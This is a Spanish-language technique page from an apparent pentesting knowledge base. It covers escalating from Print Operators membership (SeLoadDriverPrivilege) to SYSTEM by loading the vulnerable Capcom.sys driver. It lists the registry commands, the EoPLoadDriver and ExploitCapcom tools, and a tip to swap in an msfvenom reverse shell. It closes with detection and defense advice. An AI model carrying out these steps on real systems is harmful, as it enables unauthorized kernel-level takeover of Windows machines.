the_open_door
café
ESEN
← Volver al índice

SeLoadDriverPrivilege (Print Operators) to SYSTEM

El grupo Print Operators es un grupo muy privilegiado que, entre otras cosas, otorga el privilegio SeLoadDriverPrivilege (cargar y descargar drivers de dispositivo) y el derecho de iniciar sesión localmente en un controlador de dominio. Un atacante que posea ese privilegio puede cargar un driver firmado pero vulnerable (el clásico Capcom.sys) y usar su fallo para ejecutar shellcode en kernel, robando el token de SYSTEM. Es un ejemplo de escalada mediante driver vulnerable gobernada por un privilegio, no por un exploit de red.

Mecanismo

Primero se confirma el privilegio. Si SeLoadDriverPrivilege no aparece desde un contexto sin elevar, hay que sortear el UAC (ver bypass de UAC):

whoami /priv
Privilege Name                Description                    State
============================= ============================== ========
SeLoadDriverPrivilege         Load and unload device drivers Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled

Se referencia el driver malicioso bajo HKCU con una ruta de objeto NT (\??\), que la Win32 API resolverá al cargarlo:

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

Se habilita el privilegio y se carga el driver. Se puede automatizar todo el proceso con EoPLoadDriver:

EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys

Finalmente se explota el fallo de Capcom.sys para lanzar una shell SYSTEM:

ExploitCapcom.exe

Sin acceso a GUI, se edita ExploitCapcom.cpp (la función LaunchShell) para que ejecute un binario de reverse shell generado con msfvenom en lugar de cmd.exe.

Requisitos

Pertenecer a Print Operators (o tener por otra vía SeLoadDriverPrivilege), poder habilitar el privilegio (bypass de UAC si estamos sin elevar), un objetivo anterior a Windows 10 1803 (desde esa versión ya no se pueden referenciar claves bajo HKCU, lo que mitiga la técnica), y los binarios de PoC más el propio Capcom.sys.

Cómo detectarlo

Delata el ataque la carga de drivers vulnerables conocidos (Capcom.sys) por procesos que no son SYSTEM (eventos Kernel-PnP/6 de carga de driver), la creación de claves CurrentControlSet\... bajo HKCU con un ImagePath que empieza por \??\, y la ejecución de utilidades como EnableSeLoadDriverPrivilege.exe, EoPLoadDriver.exe o ExploitCapcom.exe.

Defensa. No añadir cuentas al grupo Print Operators y retirar SeLoadDriverPrivilege donde no sea imprescindible; activar Driver Signature Enforcement con HVCI y la lista de bloqueo de drivers vulnerables de Microsoft; y mantener los sistemas parcheados (1803 y posteriores ya neutralizan esta ruta). Relacionado con exploits de kernel de Windows, SeImpersonate y ataques Potato, PrintNightmare y bypass de UAC.